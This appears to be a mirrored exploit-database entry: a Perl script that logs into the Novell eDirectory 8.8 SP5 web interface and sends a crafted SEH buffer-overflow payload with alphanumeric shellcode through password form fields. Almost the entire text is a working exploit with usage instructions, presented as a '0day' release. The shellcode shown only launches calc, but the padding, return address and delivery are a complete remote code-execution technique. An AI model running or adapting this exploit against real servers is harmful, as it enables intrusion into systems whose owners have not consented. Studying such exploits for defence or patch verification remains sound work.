86 lines
No EOL
2 KiB
Perl
Executable file
86 lines
No EOL
2 KiB
Perl
Executable file
# Exploit Title: Novell eDirectory 8.8 SP5 (Post Auth) Remote BOF Exploit (0day)
|
|
# Date: 06/01/2010
|
|
# Author: His0k4 & Simo36
|
|
# Version: 8.8 SP5
|
|
# Tested on: Windows xp sp3
|
|
# Code :
|
|
#!usr\bin\perl
|
|
|
|
use WWW::Mechanize;
|
|
use HTTP::Cookies;
|
|
use HTTP::Headers;
|
|
|
|
$target=$ARGV[0];
|
|
|
|
if(!$ARGV[0]){
|
|
|
|
print "[+] Novell eDirectory 8.8 SP5 (Post Auth) Remote BOF (0day)\n";
|
|
print "[+] Exploit : His0k4 & Simo36\n";
|
|
print "Usage:perl $0 [target]\n";
|
|
print "Example : exploit.pl<http://exploit.pl> https://192.168.1.2:8030\n";
|
|
exit();
|
|
}
|
|
|
|
|
|
$login_url = "$target/_LOGIN_SERVER_";
|
|
|
|
$url = "$target/dhost/httpstk";
|
|
|
|
# calc shellcode
|
|
my $shellcode =
|
|
"PYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJItiO9mSHi".
|
|
"YNjyzNYIRTetxtQKOqpsgcHUKIin24OsjKkL9r8tWYVqNZWdXUL9T5PQhid2".
|
|
"NbvqlmKH21MOLZyqT5PKXujXVuQM1NhMpuTUukYXunNmpy3MUnSPjrP8FTWi".
|
|
"n4wKTUKPjNnMxZb0MpGl2U2kxqzXFu2RSn8uLuMONjHekOYoSnxeCEvuWNpp".
|
|
"LbDpXQwJJoJtNQ1bONWT2pfYK64XCnLykBMOY5m5scooOMxq4UwmqNBY0Nb4".
|
|
"yEIirUQlkYMvhOXbLuNOrWJLpVVYou3toMlGwVhvnFnqSVIzCoygMyJKdroj".
|
|
"mOBXx6Xyinr4eZA";
|
|
|
|
my $junk = "\x41" x 468;
|
|
my $jmp = "\x75\x06\x41\x42";
|
|
my $seh = "Du0d"; #Univ ret
|
|
my $align = "\x61" x 3;
|
|
my $eax = "\x50\xC3";
|
|
my $data1 = "\x43" x 146;
|
|
my $data2 = "\x43" x 900;
|
|
|
|
my $payload = $junk.$jmp.$seh.$align.$eax.$data1.$shellcode.$data2;
|
|
|
|
########Change Admin info########
|
|
|
|
$username = "Admin.context";
|
|
|
|
$password = "passwd";
|
|
|
|
#########################################
|
|
|
|
my $mechanize = WWW::Mechanize->new();
|
|
$mechanize->cookie_jar(HTTP::Cookies->new(file => "$cookie_file",autosave => 1));
|
|
$mechanize->timeout($url_timeout);
|
|
|
|
#Login
|
|
print "[x] Sending User & pass...\n";
|
|
$res = $mechanize->request(HTTP::Request->new('GET', "$login_url"));
|
|
|
|
$mechanize->submit_form(
|
|
|
|
form_name => "authenticator",
|
|
|
|
fields => {
|
|
|
|
usr => $username,
|
|
pwd => $password},
|
|
|
|
button => 'Login');
|
|
|
|
#vuln occurring
|
|
print "[x] Sending Exploit...\n";
|
|
$res = $mechanize->get("$url");
|
|
print "[x] Exploit Sent!\n";
|
|
$mechanize->submit_form(
|
|
|
|
fields => {
|
|
|
|
sadminpwd => $payload,
|
|
verifypwd => $payload}
|
|
); |